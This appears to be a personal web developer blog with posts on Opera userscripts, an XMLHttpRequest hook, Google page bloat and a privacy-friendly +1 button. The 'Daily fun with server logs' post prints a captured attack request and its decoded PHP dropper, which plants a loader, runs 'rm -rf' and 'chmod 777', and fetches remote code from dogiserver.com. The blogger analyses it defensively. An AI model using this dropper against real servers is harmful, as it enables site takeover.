HTML, CSS, JS and other unsorted stuff

Subscribe to RSS feed

Sticky post

In Blog Links

cleanPages extension service page

offline arc90 readability userJS+Button for Opera before version 11

WOT (Web of Trust) Userscript for all users who can't use the extension or who don't like to set up a WOT account just to see the results. It supports more search engines natively too ...
(All posts related to WOT)

Read more...

Experimental WOT UserJS update

, , ,

Some search engines, like for example Google, switched their search result pages to AJAX driven pages, so it was necessary to tap the XMLHttpRequest (see last blog post) to get get noticed about changes in the results.

This version of the WOT script is highly experimental and I don't know if it will break other scripts, but I tried to avoid as many problems as I could. A code review by a better JavaScripter than me (which should be easy to fulfill) would be highly appreciated smile

Don't forget to backup the old script, in case that this version doesn't work with your setup.

Grab the new version here: wot.js 0.969

read here for further informations

tapping XMLHttpRequests

, ,

Since Google (instant and images) and Bing (image search) changed the display of their search engine results, some of my private userJavaScripts stopped working as soon as one of these pages reloaded some new content. The scripts couldn't recognize, that the pages were changed. I tried everything what my small JavaScript knowledge allowed, but nothing worked. The problem irked me for months (but only a few hours per month bigsmile). Finally I got a really good hint from a person, who wants to stay anonymous, that it is possible to overwrite the prototype of the XMLHttpRequest.

Q: OK, but wouldn't pages, that rely heavily on it (like Google Instant), break by overwriting the XMLHttpRequest?

A: Yes, if you do it the wrong way.

It took me some reading to find a nice method called .apply() which allows to adjust the scope of your own calls (if I understood it right, corrections to my clumsy explanations are welcome) and that was the solution for me.

This is a small userJS that displays the request mode, what is sent as request and what is the actual readyState of the request:
// ==UserScript== 
// @name tap XMLHttpRequest
// @include http://*
// @include https://*
/* 
Anstatt die Ergebnisse in der Fehlerkonsole auszugeben, können auch eigene Funktionen aufgerufen werden, z.B. um geänderte Seiten zu bearbeiten. Wahrscheinlich ist ein setTimeout() oder setInterval() mit Nachtriggerung erforderlich, wenn man z.B. Suchergebnisse von Google Instant oder der Bing Bildersuche bearbeiten will, da diese Seiten manchmal ziemlich viele Requests nacheinander abfeuern ... 

Instead of displaying the results in the error console, you can also a call your own functions i.e. to edit changed pages. Possibly a re-triggerable setTimeout() or setInterval() is required, if you want to use this i.e. for processing th search results at Google instant or Bing image search, since they are firing the quite many requests in rapid succession sometimes ...
*/
// ==/UserScript== 

(function(){
	var open = window.XMLHttpRequest.prototype.open,
		send = window.XMLHttpRequest.prototype.send,
		onReadyStateChange;

	function openAugmented(method, url, async, user, password) {
		var syncMode = async !== false ? 'async' : 'sync';
		/* place your function call here */
		opera.postError(
			'Modus ' +
			syncMode +
			' HTTP Anfrage : ' +
			method +
			' ' +
			url
		);
		return open.apply(this, arguments);
	}

	function sendAugmented(data) {
		/* place your function call here */
		opera.postError('Sende HTTP-Anfrage-Daten : ', data);

		if(this.onreadystatechange) {
			this._onreadystatechange = this.onreadystatechange;
		}
		this.onreadystatechange = onReadyStateChangeAugmented;

		return send.apply(this, arguments);
	}

	function onReadyStateChangeAugmented() {
		/* place your function call here */
		opera.postError('HTTP-Anfrage-Status geändert : ' + this.readyState);
		if(this._onreadystatechange) {
			return this._onreadystatechange.apply(this, arguments);
		}
	}

	window.XMLHttpRequest.prototype.open = openAugmented;
	window.XMLHttpRequest.prototype.send = sendAugmented;
})();


Instructions where to put calls to your routines | functions are inside the code.

I hope that helps people who encounter similar problems.

PS: This userJavaScript should not break the execution of the normal XMLHttpRequests, but if you encounter problems, I would like to read about it - not that I could solve them, I am happy that I was able to cobble this together, but may be you or one of the other readers can improve it and feels like posting the solution in the comments.

PPS: You should translate the message texts for the error console to your own language, if you care about that wink

Truth

, ,



Don't forget to look at all the other phantastic Sunday Morning Breakfast Cerial cartoons chef

Google's new design pollutes the environment

, ,

I didn't write about Google for a long time, so here it is:



If you look at the new design of Google, (Yes, that is Opera displaying it) it looks quite simplified, but let us take a look under the hood:

The page contains almost everything as inline code, meaning: CSS, Scripts and partially images as base64 encoded sprites. If we concentrate on the CSS, we can see that it is a minified CSS block at the beginning of the page. This block is larger than 70KB! This means:

When you do a search with Google, you needlessly have to download additional 70kB of inline stylesheet (CSS between style tags inside the web page) each and every time.

It is said in the web, that about 3 billion search requests are sent to Google every day. I don't know how many search requests it really is, my estimate is even higher, but let us take the 3 billion requests for a start:

3*10^9/d * 3*10^1d * 7*10^4B = 63*10^14 Bytes = 6.3*10^15 Bytes

6.3 Peta Bytes! Every month!

This could be avoided if Google would just put the CSS on a content distribution network, link to it from within the search results page and set the expiry headers for the CSS to a reasonable value so that it can be cached. Thus the browser would just ask the server if the resource it already has in its cache is expired. If it is unchanged, the browser would get a simple HTTP 304 "Not changed" answer and could use the cached file. This would not only speed up the download of the main results page but lessen the traffic in the net by a measurable amount, additionally it would be good for the environment:

Delivering 70kB of data costs about the same amount of energy like heating up a cold cup of coffee to drinking temperature and this energy doesn't come for free. 90 Billion cups of coffee per month is an enormous amount ...

I wonder how many power plants could be shut down and how many tons of CO2 emission could be saved if Google just changed their web page a little bit.

Small WOT UserJS Update

, , ,

Changes:
Hulbee switched from the Google API to the bing API as source for the results which led to a change in the results (no more tracking URLs! yay!)

Download:
wot.js v.: 0.966

This UserJS doesn't work with the new Google suggest pages, so you'd have to switch back to the "classic" search, is you want to get the ratings.

Add this search string to your searches or replace the original Google search string by this:
http://www.google.com/search?q=%s&sourceid=opera&ie=utf-8&oe=utf-8&complete=0&suggon=2


I still hope that PH`updates the script because the original WOT extension still sucks!

Brainfuck like Javascript

, ,

You think you know Javascript?

Eat this!
([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()[(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]])((![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]])
Just copy that code, type javascript: into the address bar, paste the code after it and press enter to see what it does - or put it in script tags on one of your web pages.

Read more...

Jetzt weiß ich endlich wozu ein MacBook Air gut ist

, ,

Now I finally know what a MacBook Air is good for

... z.B. zum Shrimps schneiden:
... i.e. for cutting shrimps:



... oder als Küchenbrett (ab 5:10):
... or as cutting board (from 5:10):
Direktlink zu 5:10, der Rest ist eh Werbung wink



... aber die ultimative Frage ist:
... but the ultimate question is:

Will it blend?

Daily !fun with server logs

,

Yesterday one of our servers was hit by a big enough bunch of unusual requests that our IDS issued a warning, so I looked into the server logs and saw a whole bunch of the following (wrapped for better readability):

GET /engine/ajax/updates.php?wert=1&user_id=
QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOwoKJHVwbG9hZERpciA9ICcuLi8uLi91cGxvYWRzJzsKJGxvYWRlck5hbWUgPSAnbG9hZGVyei5mYzFjMGNhYTNlOWYwMGZmMTk4OWJl ZjM2NTViMjE3NS5waHAnOwoKaWYgKGlzX2RpcigkdXBsb2FkRGlyKSkKewoJJGZwID0gZm9wZW4oIiR1cGxvYWREaXIvJGxvYWRlck5hbWUiLCAndycpOwoJZndyaXRlKCRmcCwgYmFzZTY0 X2RlY29kZSgnUEQ5d2FIQUtDa0JwYm1sZmMyVjBLQ2RoYkd4dmQxOTFjbXhmWm05d1pXNG5MQ0F4S1RzS0NpUnZiR1JFYVhJZ1BTQW5hM051ZFhKb0p6c0tKRzVsZDBScGNpQTlJQ2RyYzI1 MWNtZ25Pd29rYkc5aFpHVnlUbUZ0WlNBOUlDZHNiMkZrWlhKNkxtWmpNV013WTJGaE0yVTVaakF3Wm1ZeE9UZzVZbVZtTXpZMU5XSXlNVGMxTG5Cb2NDYzdDZ3BBWlhobFl5Z2ljbTBnTFhK bUlDUnZiR1JFYVhJZ0pHNWxkMFJwY2lBcWJHOWhaR1Z5ZWlvaUtUc0tRSE41YzNSbGJTZ2ljbTBnTFhKbUlDUnZiR1JFYVhJZ0pHNWxkMFJwY2lBcWJHOWhaR1Z5ZWlvaUtUc0tRSEp0Wkds eUtDUnZiR1JFYVhJcE93cEFjbTFrYVhJb0pHNWxkMFJwY2lrN0NrQjFibXhwYm1zb0pHeHZZV1JsY2s1aGJXVXBPd29LYVdZZ0tDRkFhWE5mWkdseUtDUnVaWGRFYVhJcEtRcDdDZ2trYjJ4 a1gzVnRZWE5ySUQwZ1FIVnRZWE5yS0RBcE93b0pRRzFyWkdseUtDUnVaWGRFYVhJc0lEQTNOemNwT3dvSlFIVnRZWE5yS0NSdmJHUmZkVzFoYzJzcE93a0tDVUJsZUdWaktDSmphRzF2WkNB M056Y2dKRzVsZDBScGNpSXBPd3A5Q2dwcFppQW9RR2x6WDJScGNpZ2tibVYzUkdseUtTa0tld29KSkdad0lEMGdabTl3Wlc0b0lpUnVaWGRFYVhJdmFXNWtaWGd1Y0dod0lpd2dKM2NuS1Rz S0NXWjNjbWwwWlNna1puQXNJRUJpWVhObE5qUmZaR1ZqYjJSbEtHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDZG9kSFJ3T2k4dlpHOW5hWE5sY25abGNpNWpiMjB2WTI5dWRISnZiQzlzYjJG a1pYSXVjR2h3UDNCaGMzTjNiM0prUFVwSVIwSldhbXRvYzJrNGVXaDFOalYwTTNWNVp5WmhZM1JwYjI0OWFXNWtaWGduS1NrcE93b0pabU5zYjNObEtDUm1jQ2s3Q2drSkNnbHBaaUFvUUda cGJHVmZaWGhwYzNSektDSWtibVYzUkdseUwybHVaR1Y0TG5Cb2NDSXBLUW9KZXdvSkNYQnlhVzUwSUNjNU1UYzBOamczTmpJMU5qUTROQ2M3Q2dsOUNna0tDVUIxYm14cGJtc29KR3h2WVdS bGNrNWhiV1VwT3dwOUNnby9QZz09JykpOwoJZmNsb3NlKCRmcCk7CgoJcHJpbnQgJzkxNzQ2ODc2MjU2NDg0JzsKfQ==  HTTP/1.1

The user_id doesn't look like a normal user ID at all, it looks like a baseXX encoded file, so let's try it with base64 first:

GET /engine/ajax/updates.php?wert=1&user_id=@ini_set('allow_url_fopen', 1);

$uploadDir = '../../uploads';
$loaderName = 'loaderz.fc1c0caa3e9f00ff1989bef3655b2175.php';

if (is_dir($uploadDir))
{
	$fp = fopen("$uploadDir/$loaderName", 'w');
	fwrite($fp, base64_decode('
PD9waHAKCkBpbmlfc2V0KCdhbGxvd191cmxfZm9wZW4nLCAxKTsKCiRvbGREaXIgPSAna3NudXJoJzsKJG5ld0RpciA9ICdrc251cmgnOwokbG9hZGVyTmFtZSA9ICdsb2FkZXJ6LmZjMWMwY2FhM2U5ZjAwZmYxOTg5YmVmMzY1NWIyMTc1LnBocCc7CgpAZXhlYygicm0gLXJmICRvbGREaXIgJG5ld0RpciAqbG9hZGVyeioiKTsKQHN5c3RlbSgicm0gLXJmICRvbGREaXIgJG5ld0RpciAqbG9hZGVyeioiKTsKQHJtZGlyKCRvbGREaXIpOwpAcm1kaXIoJG5ld0Rpcik7CkB1bmxpbmsoJGxvYWRlck5hbWUpOwoKaWYgKCFAaXNfZGlyKCRuZXdEaXIpKQp7Cgkkb2xkX3VtYXNrID0gQHVtYXNrKDApOwoJQG1rZGlyKCRuZXdEaXIsIDA3NzcpOwoJQHVtYXNrKCRvbGRfdW1hc2spOwkKCUBleGVjKCJjaG1vZCA3NzcgJG5ld0RpciIpOwp9CgppZiAoQGlzX2RpcigkbmV3RGlyKSkKewoJJGZwID0gZm9wZW4oIiRuZXdEaXIvaW5kZXgucGhwIiwgJ3cnKTsKCWZ3cml0ZSgkZnAsIEBiYXNlNjRfZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vZG9naXNlcnZlci5jb20vY29udHJvbC9sb2FkZXIucGhwP3Bhc3N3b3JkPUpIR0JWamtoc2k4eWh1NjV0M3V5ZyZhY3Rpb249aW5kZXgnKSkpOwoJZmNsb3NlKCRmcCk7CgkJCglpZiAoQGZpbGVfZXhpc3RzKCIkbmV3RGlyL2luZGV4LnBocCIpKQoJewoJCXByaW50ICc5MTc0Njg3NjI1NjQ4NCc7Cgl9CgkKCUB1bmxpbmsoJGxvYWRlck5hbWUpOwp9Cgo/Pg==

'));
	fclose($fp);

	print '91746876256484';
} HTTP/1.1

Woops, a direct hit, that was easy.

Someone wants to upload something, and if I am not wrong, the ../../ should lead directly to the base or user folder - so let's decode again to see what it wants to upload.

Warning! Don't follow the URL in the following section unless you know exactly what you do!
At the time I tested it, the site was definitely riddled with malware in some sections (minimum 2 Trojans), so make sure you have a good anti-virus protection, a system backup and don't use a production system.
GET /engine/ajax/updates.php?wert=1&user_id=@ini_set('allow_url_fopen', 1);

$uploadDir = '../../uploads';
$loaderName = 'loaderz.fc1c0caa3e9f00ff1989bef3655b2175.php';

if (is_dir($uploadDir))
{
	$fp = fopen("$uploadDir/$loaderName", 'w');
	fwrite($fp, <?php

@ini_set('allow_url_fopen', 1);

$oldDir = 'ksnurh';
$newDir = 'ksnurh';
$loaderName = 'loaderz.fc1c0caa3e9f00ff1989bef3655b2175.php';

@exec("rm -rf $oldDir $newDir *loaderz*");
@system("rm -rf $oldDir $newDir *loaderz*");
@rmdir($oldDir);
@rmdir($newDir);
@unlink($loaderName);

if (!@is_dir($newDir))
{
	$old_umask = @umask(0);
	@mkdir($newDir, 0777);
	@umask($old_umask);	
	@exec("chmod 777 $newDir");
}

if (@is_dir($newDir))
{
	$fp = fopen("$newDir/index.php", 'w');
	fwrite($fp, file_get_contents('http://dogiserver.com/control/loader.php?password=JHGBVjkhsi8yhu65t3uyg&amp;action=index'));
	fclose($fp);
		
	if (@file_exists("$newDir/index.php"))
	{
		print '91746876256484';
	}
	
	@unlink($loaderName);
}

?>);
	fclose($fp);

	print '91746876256484';
} HTTP/1.1

I stopped here because our system spits out the usual error for this kind of requests. For pure personal interest I set a flag on such requests to see if they evolve.

My opinion about the server side requirements for this attack to work:

I really don't know who hit the stupid idea to use a vulnerable PHP AJAX script for am CMS or plug-in that base64 decodes the user_id token, and then evals it. This none-code-sanitizing opens a wide door for any kinds of attacks like for example SQL injections too, and I can imagine no good reason to do it ever.
More:
Why is the uploads dir in the publicly available part of the server so that any requests to those files will execute the PHP? That is an absolute no-go and I wonder if this kind of attack ever worked on any system that was not set up by a person without any real knowledge.

Any hints which application or CMS or AJAX script is the attacked one or causes it?
I'd like to inform the author about this issue.

Adding the Google +1 button to a webpage without violating the users privacy

, , ,

There are many social bookmarking services in the web and now Google is trying to break into this market too. Where other bookmarking or sharing services (apart from Twitter or Facebook) allow adding a social bookmark by just a (local) icon and a link to share a web page with other users, you have to embed a Google script if you want to add the +1 button. Each time such a web page is loaded, at least the IP of the visitor is sent to Google, if the visitor is signed in or not - worse: If the visitor wants it or not. I didn't take a deep look into the Google script but at a fist glance it looks like they are not just embedding the button into the web page, but analyzing some other information and sending it to Google - without an option to opt-out of that apart from blocking:
https://apis.google.com/js/plusone.js
The invasion of the +1 buttons on every second web page allows Google to track a user because normally the user's IP doesn't change during a surf session. The other information gathered could lead to quite a good profile of the visitor - again if the user wants it or not. Google claims that this information is just used to improve the service, but I doubt that as long as their internal code is not revised by a trusted third party. By "trusted" I mean: Trusted by me, that they are really independent and not not on the payroll of Google. I can understand why webmasters put these buttons on their pages, but sometimes I doubt, that they see all implications of that. I even don't know if they think about the massive amount of data that is sent every day just because of that. The script uses headers to prevent long-term caching, and then loads additional script content with a unique identifier for each request. That means that in most cases it is not cached, it is loaded again and again. Users who surf with a mobile device normally have no real flatrate but a capped data plan, some just as few as 500MB/months for a fixed price, every additional traffic costs up to 19ct/10kB in some data plans. That means: In the worst case users of mobile devices have to pay additional 2.30 €uro (about 3.20 US$ when I wrote this) just for this stupid +1 button! Still worse: Every time you visit a web page containing a +1 button without blocking cookies, Google sets and reads a cookie for an iframe, which allows cross site tracking from every page you visit that has the iframe with the same Google domain embedded, meaning: Every page with a +1 button. Even this doesn't seem to be enough for Google: Each time, you visit a page containing a +1 button, about 22kB of information *1) is uploaded to Google. This is not acceptable! You, as a webmaster can respect your visitors' privacy and keep the additional cost for your users small, without loosing the ability to allow visitors to "+1" your pages, if you embed this button in a slightly modified way. Just embed the script like this instead of the original way:
<script type="text/javascript">
 function loadScript(jssource,thelink) {
   var jsnode = document.createElement('script');
   jsnode.setAttribute('type','text/javascript');
   jsnode.setAttribute('src',jssource);
   document.getElementsByTagName('head')[0].appendChild(jsnode);
   document.getElementById(thelink).innerHTML = "";
 }
 var plus1source = "https://apis.google.com/js/plusone.js";
</script>
<a id="plus1" href="javascript:loadScript(plus1source,'plus1')">Show Google +1</a>
<g:plusone></g:plusone>
The last line of the code, taken from Google's own page, not only breaks the XHTML STRICT validity, it is even no valid HTML code. If you want to keep your page valid, you can alter the last line to
<div class="g-plusone" id="my_plusone></div>
<script type="text/javascript">
  document.getElementById("my_plusone").setAttribute("data-size", "small");
  document.getElementById("my_plusone").setAttribute("data-href", document.location.href);
</script>
what should work just fine until Google changes the code and breaks it again. This way, the button will be displayed after a click on the "Show Google +1" link and nothing is send or loaded as long as the visitor doesn't voluntarily click on that link. You can replace the text by an image like the following to match the appearance of the original Google +1 button: *1) The same amount of information fits on about 4 pages of printed text. Honi soit ... [edit 2011-09-07] Additional information: Shortly after I published this, a user informed me that heise.de did a similar thing but for Facebook and Twitter too. They created a jQuery plugin for that and as soon as they did so, Facebook was not amused about it and even threatened heise.de that they would cancel their Facebook account if they continue doing so. I think heise.de with its unique 18 million visitors per month was not very impressed. Read the full story in German with additional links here: http://www.heise.de/ct/meldung/Facebook-beschwert-sich-ueber-datenschutzfreundlichen-2-Klick-Button-2-Update-1335658.html or an abreviated English version here: http://www.zdnet.com/blog/facebook/german-website-creates-two-click-like-button-facebook-not-amused/3247 The jQuery plugin for a Facebook, Twitter and Google+1 two-click-solution is embedded in the heise.de the page, use Dragonfly to grab it wink [edit 2011-09-09] The full documented jQuery plugin from heise.de included all necessary graphics can be found here: http://www.heise.de/extras/socialshareprivacy/ translation provided by Google German, but an online translator should help and the code is easy to adapt. I would appreciate it if someone could un-jQuery it, because I personally don't like it to throw tons of libraries on such relatively small problems...